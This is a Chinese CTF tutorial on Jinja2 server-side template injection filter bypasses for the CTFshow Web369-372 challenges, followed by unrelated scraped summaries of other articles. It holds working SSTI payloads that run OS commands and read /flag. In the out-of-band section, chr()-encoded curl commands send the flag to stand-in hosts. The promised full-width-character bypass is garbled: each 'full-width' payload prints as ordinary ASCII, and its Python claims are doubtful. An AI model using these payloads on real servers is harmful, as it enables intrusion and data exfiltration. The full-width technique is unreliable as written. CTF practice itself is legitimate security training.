手把手教你用Python破解CTFshow SSTI题目(附全角字符绕过技巧)

Python全角字符在CTF SSTI绕过中的高阶应用实战

当你在CTF竞赛中遇到那些看似严丝合缝的SSTI过滤规则时,是否想过连数字和引号都能被巧妙绕过?本文将带你深入探索全角字符在模板注入中的神奇威力,从基础原理到实战技巧,手把手教你突破CTFshow系列题目的层层防御。

1. SSTI漏洞与全角字符绕过的核心原理

在深入实战之前,我们需要理解两个关键概念:为什么SSTI漏洞会产生,以及全角字符为何能成为绕过利器。

**SSTI(服务器端模板注入)**的本质是用户输入被直接拼接进模板引擎进行解析。以Flask的Jinja2为例,当开发者错误地使用render_template_string而非render_template时,攻击者就能注入模板语法。比如:

# 危险写法 - 存在SSTI漏洞
@app.route('/vuln')
def vuln():
    name = request.args.get('name')
    return render_template_string(f"Hello {name}")

# 安全写法
@app.route('/safe')
def safe():
    return render_template('template.html', name=request.args.get('name'))

全角字符是指占据两个标准字符位置的字符,其Unicode编码比半角字符大0xFEE0。这种特性使其成为绕过WAF的绝佳选择:

字符类型示例Unicode编码显示效果
半角数字1U+00311
全角数字U+FF11
半角字母AU+0041A
全角字母U+FF21

在Python中,全角字符会被正常解析为标识符的一部分。这个特性让我们可以构造出能绕过常规过滤的payload:

# 常规payload会被过滤
payload = "{{ ''.__class__ }}"

# 使用全角字符的payload
payload = "{{ ''.__class__ }}"  # 点号和class为全角

2. CTFshow SSTI题目环境搭建与基础绕过

为了更好理解题目环境,我们先搭建一个模拟CTFshow的Flask应用:

from flask import Flask, request, render_template_string

app = Flask(__name__)

# Web369模拟 - 基础过滤
@app.route('/web369')
def web369():
    blacklist = ['_', "'", '"', '[', ']', 'request']
    name = request.args.get('name', '')
    if any(b in name for b in blacklist):
        return "Hacker detected!"
    return render_template_string(f"Hello {name}")

if __name__ == '__main__':
    app.run(debug=True)

基础绕过技巧:当常规字符被过滤时,我们可以利用:

  1. 属性拼接:使用|attr()过滤器替代点号
  2. 字符串构造:通过字符拼接生成关键词
  3. 全角替代:用全角字符替换关键符号
# 传统payload
{{ ''.__class__ }}

# 绕过方案1:属性拼接
{{ ''|attr('__class__') }}

# 绕过方案2:字符串构造
{% set x = '__cla' ~ 'ss__' %}{{ ''|attr(x) }}

# 绕过方案3:全角字符
{{ ''.__class__ }}

3. Web369-372全系列高阶绕过实战

3.1 Web369:基础过滤绕过

题目过滤了request、引号、中括号等关键字符。我们可以使用lipsum全局对象的字符拼接技术:

{% set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{% print(lipsum|attr(gl)) %}

这个payload通过从lipsum字符串中提取特定位置的字符,拼接出"globals"字符串,进而获取全局对象。

3.2 Web370:数字过滤的创造性解法

当数字被过滤时,我们有以下几种解决方案:

方法一:全角数字直接替换

{% set a=(lipsum|string|list).pop(18) %}  # 使用全角数字18

方法二:算术运算生成数字

{% set one=dict(a=a)|join|count %}    # 1
{% set two=dict(aa=a)|join|count %}   # 2
{% set ten=dict(aaaaaaaaaa=a)|join|count %}  # 10

方法三:字符位置动态探测

# 定位斜杠字符的位置
{% set slash_pos=(lipsum|attr(gl)|string|list).pop(431) %}

3.3 Web371:无回显下的外带技巧

print被过滤且无回显时,外带数据成为必要手段。以下是两种常用方法:

DNS外带示例

{% set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(121)%2bchr(111)%2bchr(117)%2bchr(114)%2bchr(100)%2bchr(111)%2bchr(109)%2bchr(97)%2bchr(105)%2bchr(110)%2bchr(46)%2bchr(99)%2bchr(111)%2bchr(109)%2bchr(47)%2bchr(63)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(61)%2bchr(36)%2bchr(40)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(41) %}
{% if (lipsum|attr(gl)).get('os').popen(cmd) %}1{% endif %}

HTTP请求外带

{% set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(45)%2bchr(88)%2bchr(32)%2bchr(80)%2bchr(79)%2bchr(83)%2bchr(84)%2bchr(32)%2bchr(45)%2bchr(70)%2bchr(32)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(61)%2bchr(64)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(121)%2bchr(111)%2bchr(117)%2bchr(114)%2bchr(115)%2bchr(101)%2bchr(114)%2bchr(118)%2bchr(101)%2bchr(114)%2bchr(46)%2bchr(99)%2bchr(111)%2bchr(109)%2bchr(47)%2bchr(114)%2bchr(101)%2bchr(99)%2bchr(101)%2bchr(105)%2bchr(118)%2bchr(101) %}

3.4 Web372:终极过滤的突破之道

当遇到最严格的过滤规则时,我们需要组合多种技巧:

  1. 全角字符全面替换
  2. length替代count
  3. 多阶段payload构造
{% set a=(lipsum|string|list).pop(24) %}
{% set gl=(a,a,dict(globals=b)|join,a,a)|join %}
{% set bu=(a,a,dict(builtins=b)|join,a,a)|join %}
{% set chr=((lipsum|attr(gl)).get(bu).chr) %}
{% set flag=(chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)) %}
{% print((lipsum|attr(gl)).get(bu).open(flag).read()) %}

4. 自动化工具与防御建议

4.1 全角字符转换工具

以下Python脚本可将常规payload转换为全角版本:

def to_fullwidth(s):
    result = []
    for char in s:
        code = ord(char)
        if 33 <= code <= 126:  # 可显示ASCII字符
            result.append(chr(code + 0xFEE0))
        elif code == 32:  # 空格特殊处理
            result.append(chr(0x3000))
        else:
            result.append(char)
    return ''.join(result)

payload = "{{ ''.__class__ }}"
print(to_fullwidth(payload))  # 输出:{{ ''.__class__ }}

4.2 防御SSTI的最佳实践

  1. 永远不要使用render_template_string处理用户输入
  2. 严格的输入过滤
    from jinja2 import escape
    
    def safe_input(input_str):
        blacklist = ['{{', '}}', '{%', '%}', '_', '|attr', 'request']
        if any(b in input_str for b in blacklist):
            raise ValueError("Invalid input")
        return escape(input_str)
    
  3. 使用沙盒环境
    from jinja2.sandbox import SandboxedEnvironment
    env = SandboxedEnvironment()
    
  4. 内容安全策略(CSP):限制外部资源加载

在CTF竞赛中,SSTI题目往往考察的是对各种过滤规则的创造性绕过。全角字符只是众多绕过手段中的一种,真正的高手会灵活组合多种技术,根据题目特点定制解决方案。记住,理解原理比记忆payload更重要,这才是成为安全专家的正确路径。

内容概要:本文围绕“基于需求侧响应的配电网供电能力综合评估”展开研究,重点探讨了价格型需求响应机制对配电网供电能力的影响,并提出了一套科学的综合评估方法。研究构建了一个涵盖一次设备安全、负荷平稳性、电能质量和系统效率等多个维度的评价指标体系,采用熵权法客观确定各指标权重,并结合模糊综合评价模型实现双层评分机制,从而定量评估不同运行场景下配电网的承载能力。通过Python编程实现算法仿真,利用算例分析验证了所提模型在不同分布式能源渗透率及多种需求响应策略下的有效性与灵敏度,揭示了价格激励措施在提升电网承载力方面的积极作用,为现代配电网的规划、调度与运行优化提供了理论依据和技术支撑。; 适合人群:具备一定电力系统基础知识和Python编程能力,从事电力系统规划、运行优化、需求响应等相关领域的科研人员及研究生。; 使用场景及目标:①评估高比例电动汽车、分布式电源接入背景下配电网的实际供电能力;②分析价格型需求响应策略对提升电网承载力的作用效果;③为配电网扩容改造、运行调度和需求管理政策制定提供决策支持; 阅读建议:建议读者结合文中提供的Python代码进行实证复现,重点关注熵权法与模糊综合评价的实现逻辑,并尝试修改参数设置以观察评估结果的变化趋势,加深对模型机理的理解。
源码下载地址: https://pan.quark.cn/s/a4b39357ea24 在Qt应用程序开发过程中,有时我们可能需要构建一个具备特殊视觉效果的窗口,例如设计成没有边框但带有阴影,并且依然允许用户拖动窗口。此类需求通常出现在构建简洁用户界面或定制化窗口外观的场景中。标题“Qt(部分)无边框窗口 边框阴影,可以拖动边框,移动窗口”所涵盖的技术要点主要集中于如何在Qt框架内达成这样的功能,尤其是借助winEvent函数的重写来应对特定的Windows平台事件。 让我们深入理解无边框窗口的概念。在Qt环境中,可以通过调整窗口的边框样式来构建无边框窗口。这通常是通过`setWindowFlags()`函数完成的,将`Qt::FramelessWindowHint`标志整合到窗口的标志参数里。例如: ```cpp setWindowFlags(Qt::CustomizeWindowHint | Qt::Window | Qt::FramelessWindowHint); ``` 这样一来,窗口将丧失标准的边框和标题栏,但依然维持着窗口管理的基本功能,例如最大化、最小化和关闭操作,前提是你也没有移除这些相关标志。 接下来,为了给无边框窗口增添阴影效果,可以利用Qt的QGraphicsDropShadowEffect类。首先创建一个QGraphicsView对象作为窗口的底层容器,然后在其上放置一个QGraphicsProxyWidget用以展示实际的窗口内容。接着,为QGraphicsView施加阴影效果: ```cpp QGraphicsDropShadowEffect *shadow = new QGraphicsDropShadowEffe...
内容概要:本文系统研究了同步电机与构网型变流器在电力系统中的频率稳定特性及其多时间尺度交互机理,基于Simulink搭建高保真仿真模型,深入分析两类电源在动态响应、惯量支撑、频率调节能力等方面的差异与耦合关系。研究涵盖不同运行工况下的频率波动响应特性,重点揭示控制延迟、电气与机械动态过程之间的时间尺度耦合机制,探讨构网型变流器在高比例新能源接入背景下对传统同步机主导系统的频率稳定性的影响,评估其替代或协同传统同步机的潜力与挑战,为未来电力系统的稳定运行与控制策略设计提供理论依据和技术支撑。; 适合人群:具备电力系统分析、自动控制理论及新能源并网技术背景的科研人员、高校研究生及电力工程技术人员;熟悉Simulink仿真环境者更佳; 使用场景及目标:①深入理解同步电机与构网型变流器在频率响应特性上的本质差异及其相互作用机理;②支撑高电力电子化电网的频率稳定性分析与新型控制器设计;③为多类型电源协同控制策略的研发与仿真验证提供模型基础与分析平台; 阅读建议:建议结合Simulink仿真模型进行同步操作,重点关注不同时间尺度动态过程的建模方法与参数敏感性分析,深入探究频率稳定性的内在机理,全面把握构网型控制在提升系统稳定性方面的优势与潜在局限。
代码转载自:https://pan.quark.cn/s/db56051ee6da 依据所提供的文档资料,能够归纳出以下与“寻求一个字串中连续出现频率最高的子串”相关的基础知识: ### 一、问题的阐述与剖析 #### 1.1 问题背景 在计算机科学领域中,字串操作是一项普遍且关键的工作。本议题聚焦于给定字串,识别其中连续出现频率最高的子串。 #### 1.2 问题陈述 假定存在一个输入字串 `str`,目标在于找出该字串中出现频率最高的一个或多个连续子串,并统计它们的出现频次。 #### 1.3 输入输出格式 - **输入**:一个字串 `str`。 - **输出**:连续出现频率最高的子串及其对应的出现次数。 ### 二、算法的构思与执行 #### 2.1 基本理念 遍历字串的所有可能子串,并借助某种数据结构来追踪每个子串的出现频次。通过对比所有子串的出现频次,从而识别出出现频次最高的子串。 #### 2.2 具体执行步骤 1. **初始化**:设定一个字串 `str` 来存储输入的字串,以及一个辅助变量 `tep` 来暂存当前子串。 2. **外层循环**:从字串长度减去1至1的逆向遍历,每次循环的 `i` 代表子串的长度。 3. **内层循环**:从0至字串长度减去当前子串长度的遍历,每次循环的 `j` 指示子串的起始位置。 4. **子串提取**:运用 `substr` 方法从位置 `j` 开始截取长度为 `i` 的子串并存储至 `tep` 中。 5. **子串检测**:借助 `find` 和 `rfind` 方法分别确定子串在字串中的初始出现位置 `t` 与最终出现位置 `num`。 6. **判定条件**:若 `t` 与...
源码下载地址: https://pan.quark.cn/s/a4b39357ea24 在Linux操作系统平台上进行C++语言开发,达成串行通信功能是一项核心且关键的技能,特别是在嵌入式系统设计、设备管理或物联网解决方案中。此"Linux下C++实现简易串口交互"范例展示了一个基础性的架构,旨在协助程序员了解怎样运用C++与计算机的串行端口(COM端口)进行互动,完成数据的发送及接收任务。接下来将详尽阐述相关技术要点。 1. **串行通信原理**: 串行通信是一种历史悠久的通信机制,借助串行接口来传输信息。在Linux环境中,串行端口通常被映射为/dev/ttySx的路径,其中x代表端口的编号,例如/dev/ttyS0或/dev/ttyUSB0等。串行通信所涉及的重要参数包含波特率、数据位数、停止位数及校验类型等。 2. **C++与系统接口调用**: 若要在C++中操作串口,必须借助系统级调用或第三方库。本范例可能直接运用了包含在<termios.h>头文件中的函数,比如使用tcgetattr()和tcsetattr()来配置串口特性,open()和close()用于串口的开启与关闭,以及write()和read()负责数据的发送与接收。 3. **<termios.h>中的结构体**: struct termios结构体是控制串口行为的决定性组件,它包含了串口的多种配置选项,如波特率(Baud Rate)、数据位(Data Bits)、停止位(Stop Bits)和校验位(Parity Bit)等。程序员需要通过cfsetispeed()和cfsetospeed()来设定输入和输出的波特率,而c_cflag字段则用于设定其他串口配置。 4. **串口初始化...
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值